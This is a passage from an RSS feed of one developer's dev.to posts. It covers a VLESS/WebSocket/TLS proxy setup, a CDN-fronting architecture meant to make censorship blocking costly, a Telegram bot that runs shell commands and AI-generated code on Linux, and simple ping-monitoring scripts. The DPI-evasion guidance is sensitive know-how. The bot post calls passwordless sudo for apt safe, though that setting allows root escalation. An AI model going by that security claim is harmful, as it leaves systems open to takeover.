proxy_set_header Connection "upgrade";&lt;br&gt;
proxy_set_header Host $http_host;&lt;br&gt;
}&lt;/p&gt;

&lt;h1&gt;
  
  
  2. NORMAL TRAFFIC FOR YOUR SITE
&lt;/h1&gt;

&lt;p&gt;location / {&lt;/p&gt;

&lt;h1&gt;
  
  
  If you actually have a website here:
&lt;/h1&gt;

&lt;h1&gt;
  
  
  root /var/www/html/myvps.com;
&lt;/h1&gt;

&lt;h1&gt;
  
  
  index index.html;
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Or proxy it to a different port where it's running
&lt;/h1&gt;

&lt;h1&gt;
  
  
  proxy_pass &lt;a href="http://127.0.0.1:8080" rel="noopener noreferrer"&gt;http://127.0.0.1:8080&lt;/a&gt;;
&lt;/h1&gt;

&lt;p&gt;}&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Step 4: Client Setup&lt;/p&gt;

&lt;p&gt;On the device you want to connect from, install the V2Ray/Xray client (e.g., V2RayNG, Shadowrocket, etc.).&lt;/p&gt;

&lt;p&gt;Enter the following parameters:&lt;/p&gt;

&lt;p&gt;Address: myvps.com&lt;/p&gt;

&lt;p&gt;Port: 443&lt;/p&gt;

&lt;p&gt;Protocol: VLESS&lt;/p&gt;

&lt;p&gt;UUID: YOUR_UUID&lt;/p&gt;

&lt;p&gt;Transport: WebSocket&lt;/p&gt;

&lt;p&gt;Path: /mysecretpath&lt;/p&gt;

&lt;p&gt;TLS (SSL): Enabled&lt;/p&gt;

&lt;p&gt;💡 Benefits and Conclusions&lt;/p&gt;

&lt;p&gt;VLESS + WSS + TLS&lt;br&gt;
Masking: Excellent. Traffic appears as regular HTTPS.&lt;br&gt;
Port: Uses the standard port 443 (HTTPS), which is usually open.&lt;br&gt;
Website: Coexists with your regular website. A user visiting myvps.com will see your website, but VLESS traffic will run in parallel.&lt;br&gt;
Performance: High, especially with VLESS.&lt;/p&gt;

&lt;p&gt;Important: Make sure your TLS certificate is valid and not expired, otherwise traffic masking will not work effectively.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Build an Unstoppable Service: The L-Security Cloud Tank Architecture</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Wed, 03 Dec 2025 14:38:00 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/how-to-build-an-unstoppable-service-the-l-security-cloud-tank-architecture-25ee</link>
      <guid>https://dev.to/lag_lagendary/how-to-build-an-unstoppable-service-the-l-security-cloud-tank-architecture-25ee</guid>
      <description>&lt;p&gt;Introduction: Why Your VPN Stops Working&lt;/p&gt;

&lt;p&gt;In the era of total network control and DPI (Deep Packet Inspection), standard solutions for ensuring availability (like OpenVPN or classic Shadowsocks) are quickly blocked. Regulators have learned to analyze traffic, even when it’s fully encrypted.&lt;/p&gt;

&lt;p&gt;In this article, we will examine the L-Security Cloud Tank architecture—a solution that makes blocking not just difficult, but economically and technically infeasible. Our approach combines protocol obfuscation with adaptive, geo-dependent Collateral Defense.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Protocol Shield: Defeating DPI&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The goal is simple: make the traffic indistinguishable from ordinary website browsing.&lt;/p&gt;

&lt;p&gt;Utilizing VLESS/V2Ray with WSS/TLS&lt;/p&gt;

&lt;p&gt;We use the VLESS (VLess over TCP) protocol with the WSS (WebSocket Secure) transport layer, wrapped in TLS 1.3.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VLESS/V2Ray: A modern, lightweight protocol that minimizes metadata, making it unrecognizable.

WSS/TLS: Traffic is masked as a standard secure WebSocket request. For DPI systems, this looks like a standard HTTPS session on a popular website.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;💻 Configuration Example (VLESS Placeholder):&lt;/p&gt;

&lt;p&gt;JSON&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "inbounds": [{&lt;br&gt;
    "port": 443,&lt;br&gt;
    "protocol": "vless",&lt;br&gt;
    "settings": {&lt;br&gt;
      "clients": [ { "id": "YOUR_UUID" } ],&lt;br&gt;
      "decryption": "none"&lt;br&gt;
    },&lt;br&gt;
    "streamSettings": {&lt;br&gt;
      "network": "ws",&lt;br&gt;
      "security": "tls",&lt;br&gt;
      "wsSettings": { "path": "/your_secret_path" }&lt;br&gt;
    }&lt;br&gt;
  }]&lt;br&gt;
}&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Infrastructure Shield: The Principle of Collateral Defense (Tanking)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Even if the protocol is perfect, its IP address can still be blocked. We solve this by hiding behind "digital tanks"—the largest global providers.&lt;/p&gt;

&lt;p&gt;Multi-CDN Load Balancing and CIDR-Blocks&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reverse Proxy VM (Core Node): Your main server (Core Node) is deployed in a carefully selected CIDR-block (IP address range) of a cloud provider (e.g., AWS or GCP) that is widely used by banks, government bodies, and critical services.

Anycast IP Fronting: We use global CDNs (Cloudflare, Azure Front Door) as Reverse Proxies. All users only see the CDN's Anycast IP.

The Tanking Effect: Blocking the Anycast IP of Cloudflare or the CIDR-block of AWS would lead to massive collateral damage for thousands of legitimate services. This makes blocking economically impossible for the regulator.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;Modernization: Adaptive Geo-Defense (Geo-Aware Defense)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We enhance protection by adding regional intelligence.&lt;/p&gt;

&lt;p&gt;Dynamic Switching to Local Tanks&lt;/p&gt;

&lt;p&gt;If global CDNs are blocked in a specific country (as was the case with Telegram when Google/AWS were blocked), the system must switch to local, untouchable providers:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Geo-Monitoring: GeoDNS and distributed Health Checks are used to detect failures in a specific country (e.g., China).

Local Node: If blocking is detected in Region X, the DNS Load Balancer instantly reroutes traffic from Region X to a Reverse Proxy VM located in a local cloud (e.g., Alibaba Cloud or Yandex Cloud), which is associated with nationally critical resources.

Advantage: We always use the strongest and most "unblockable" asset in that specific jurisdiction.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;⚙️ High-Level Deployment Instructions&lt;/p&gt;

&lt;p&gt;Step 1: Core Node and Obfuscation (Protocol)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Deploy Core Node (VM) in a neutral jurisdiction.

Install V2Ray/VLESS configured with WSS/TLS on port 443.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 2: Global Shield Creation (Infrastructure)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Configure Reverse Proxying on Cloudflare, AWS CloudFront, and Azure Front Door.

Specify the Core Node's IP address as the Origin Server for all CDNs, using Full/Strict SSL.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 3: Adaptive Balancer Setup (DNS)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Use a DNS Load Balancer service (e.g., Route 53 Traffic Flow).

Set up A-records pointing to the Anycast IP of each CDN.

Configure Health Checks with a low failure threshold.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 4: Implementing Geo-Logic (Modernization)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Deploy Local VMs (e.g., in Alibaba Cloud).

Configure a Geo-Routing Policy in the DNS Balancer.

Apply the logic: IF the request is from [Country X], THEN route it to [Local Tank Y], ELSE route it to [Global Tank Z].
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Discussion&lt;/p&gt;

&lt;p&gt;The L-Security Cloud Tank is not just a tool; it is an architectural philosophy that shifts ensuring availability from "fighting filters" to economic and political coercion through the use of legal global infrastructure.&lt;/p&gt;

&lt;p&gt;What ethical or technical challenges do you see in this model? Let's discuss in the comments! 👇&lt;/p&gt;

&lt;h1&gt;
  
  
  security #devops #cloud #networking #architecture #vpn #censorship #v2ray #resilience #infosec
&lt;/h1&gt;

</description>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>cloud</category>
      <category>architecture</category>
    </item>
    <item>
      <title>AI-in-Shell: Secure Linux Management via Telegram and Gemini AI (Technical Deep Dive)</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Sat, 15 Nov 2025 03:57:04 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/ai-in-shell-secure-linux-management-via-telegram-and-gemini-ai-technical-deep-dive-2k8i</link>
      <guid>https://dev.to/lag_lagendary/ai-in-shell-secure-linux-management-via-telegram-and-gemini-ai-technical-deep-dive-2k8i</guid>
      <description>&lt;p&gt;I'm pleased to introduce my new project, AI-in-Shell(ADMIN BOT): Telegram Remote Agent for Linux. This tool isn't just a bot; it's a local, always-running agent that provides a secure bridge between your Telegram chat and your Linux machine.&lt;/p&gt;

&lt;p&gt;Tomorrow, after I'm off, I plan to translate the documentation into English and publish it on GIT to reach even more users! But if you're interested, use the browser's built-in Russian -&amp;gt; English automatic translators.&lt;/p&gt;

&lt;p&gt;The main idea: gain full control over a server or home PC, perform administrative tasks, and even use generative AI without the need for an SSH connection.&lt;/p&gt;

&lt;p&gt;🚀 Key Features of the Agent&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Secure Remote Command Execution&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The tg_local_shell.py agent allows you to execute any Bash commands (ls, df, cat, and others) directly on your system.&lt;/p&gt;

&lt;p&gt;Safety First: The bot is strictly tied to a single ALLOWED_USER_ID. All other commands from unauthorized users are ignored, protecting against unauthorized access.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Gemini API Integration&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I've added a set of aliases (alias.txt) and scripts (gemini_query.sh) that allow you to use Google Gemini directly in the command line and then run these functions through Telegram.&lt;/p&gt;

&lt;p&gt;geminih: Securely generate code in a sandbox for testing.&lt;/p&gt;

&lt;p&gt;geminir: Run generated code.&lt;/p&gt;

&lt;p&gt;SGS: Save a script.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Passwordless sudo for automation (UU alias)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For routine tasks, such as system updates, I've configured secure execution of sudo apt ... without prompting for a password. This is implemented through a fine-grained configuration of /etc/sudoers using NOPASSWD, applied only to the specific /usr/bin/apt command. This improves convenience without sacrificing overall system security.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Always-on operation via systemd&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To ensure reliability and continuous availability, the agent is configured as a user-based systemd service (tg-remote-shell.service.template).&lt;/p&gt;

&lt;p&gt;Reliability: The service automatically starts at system startup and restarts in the event of a failure.&lt;/p&gt;

&lt;p&gt;Management: Full control via standard commands: systemctl --user start/stop/restart/status tg-remote-shell.service.&lt;/p&gt;

&lt;p&gt;🛠️ Architecture and Installation&lt;/p&gt;

&lt;p&gt;The project consists of several key files:&lt;/p&gt;

&lt;p&gt;tg_local_shell.py: The main Python script that listens to Telegram and executes commands via subprocess.&lt;/p&gt;

&lt;p&gt;gemini_query.sh: A Bash wrapper script for calling the Gemini API.&lt;/p&gt;

&lt;p&gt;tg-remote-shell.service.template: A systemd template for background work.&lt;/p&gt;

&lt;p&gt;Setup overview:&lt;/p&gt;

&lt;p&gt;Cloning the repository and setting up venv.&lt;/p&gt;

&lt;p&gt;Adding GEMINI_API_KEY to ~/.bashrc and ensuring gemini_query.sh is executable.&lt;/p&gt;

&lt;p&gt;Configuring TELEGRAM_BOT_TOKEN and ALLOWED_USER_ID in tg_local_shell.py.&lt;/p&gt;

&lt;p&gt;Allowing NOPASSWD for /usr/bin/apt in visudo.&lt;/p&gt;

&lt;p&gt;Configuring and starting the service via systemctl --user enable/start tg-remote-shell.service.&lt;/p&gt;

&lt;p&gt;Full step-by-step instructions are available in the README.&lt;/p&gt;

&lt;p&gt;🔗 Conclusion&lt;/p&gt;

&lt;p&gt;AI-in-Shell is a tool for those who value the convenience of remote management and AI capabilities, but aren't willing to sacrifice security. This proves that it's possible to securely combine your favorite messenger, the power of Linux, and generative models.&lt;/p&gt;

&lt;p&gt;I welcome your feedback and suggestions for improvements!&lt;/p&gt;

&lt;p&gt;Project code on GitHub:&lt;br&gt;
&lt;a href="https://github.com/LAG-Lagendary/AI_in-shell" rel="noopener noreferrer"&gt;https://github.com/LAG-Lagendary/AI_in-shell&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Python #Linux #TelegramBot #GeminiAPI #Bash #Systemd #RemoteAdministration #DevOps #Security
&lt;/h1&gt;

</description>
      <category>gemini</category>
      <category>linux</category>
      <category>tooling</category>
      <category>security</category>
    </item>
    <item>
      <title>Hello World!</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Wed, 29 Oct 2025 14:37:08 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/hello-world-4okg</link>
      <guid>https://dev.to/lag_lagendary/hello-world-4okg</guid>
      <description>&lt;p&gt;&lt;strong&gt;🚀 Hello, world! I'm a Newbie Developer, and my ideas keep me up at night&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hello everyone! 👋 I'm a newbie developer named LAG (LAG-Lagendary), and I have a blast coming up with all sorts of projects. I think every idea deserves to be realized (or at least uploaded to GitHub before my laptop dies after another "crazy experiment" 😂).&lt;/p&gt;

&lt;p&gt;Nice to meet you all! I really hope my little projects outlive my computer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✨ My latest "crazy" projects on GitHub&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I just posted a couple of my projects and wanted to share them. Maybe they'll inspire someone, or you'd just like to give me some feedback!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📡 Project 1: Signal to Space&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/LAG-Lagendary/signal_to_space" rel="noopener noreferrer"&gt;https://github.com/LAG-Lagendary/signal_to_space&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This project is a series of simple but engaging Python scripts for monitoring the network availability of key public DNS servers: Quad9, Google, Yandex, and others.&lt;/p&gt;

&lt;p&gt;What's the gist?&lt;/p&gt;

&lt;p&gt;Continuous monitoring: Scripts like ping_counter_Quad9.py or ping_counter_yandex.py continuously send PING requests to a target IP address (e.g., 9.9.9.9 or 77.88.8.8) at a set interval (5 seconds).&lt;/p&gt;

&lt;p&gt;Data collection: They record the status (success/error) and, for Linux/macOS, the response latency.&lt;/p&gt;

&lt;p&gt;Automation: I use the start_monitoring.sh script to run all counters in the background, and their output is saved in log files.&lt;/p&gt;

&lt;p&gt;This is my way of ensuring that my "connection to the outside world" is working properly and collecting statistics for future network experiments!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🌍 Project 2: Geo Ping Analyzer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/LAG-Lagendary/Geo-Ping-Analyzer" rel="noopener noreferrer"&gt;https://github.com/LAG-Lagendary/Geo-Ping-Analyzer&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This tool allows me to roughly determine the geographic location of my network connection. How does it work?&lt;/p&gt;

&lt;p&gt;Global Coverage: The geo_ping_analyzer_ru.py script pings over 10 public DNS servers around the world (North and South America, Europe, Asia, Africa, Oceania).&lt;/p&gt;

&lt;p&gt;Latency Measurement: It measures the average latency (RTT) and packet loss for each target.&lt;/p&gt;

&lt;p&gt;Score: The lowest ping indicates that this server is physically closest to me.&lt;/p&gt;

&lt;p&gt;Conclusion: Based on the closest point, the script infers my approximate location (continent/region).&lt;/p&gt;

&lt;p&gt;This is a cool way to visualize network distances and routing!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🤝 Let's Chat!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're interested in network experiments, Python, or just "crazy" ideas, let me know in the comments! I'm open to advice, criticism, and collaboration.&lt;/p&gt;

&lt;p&gt;I always believe the best place for ideas is GitHub!&lt;/p&gt;

&lt;p&gt;Hashtags for dev.to:&lt;/p&gt;

&lt;h1&gt;
  
  
  python #networking #opensource #github #beginners
&lt;/h1&gt;

</description>
      <category>codenewbie</category>
      <category>sideprojects</category>
      <category>python</category>
      <category>showdev</category>
    </item>
  </channel>
</rss>
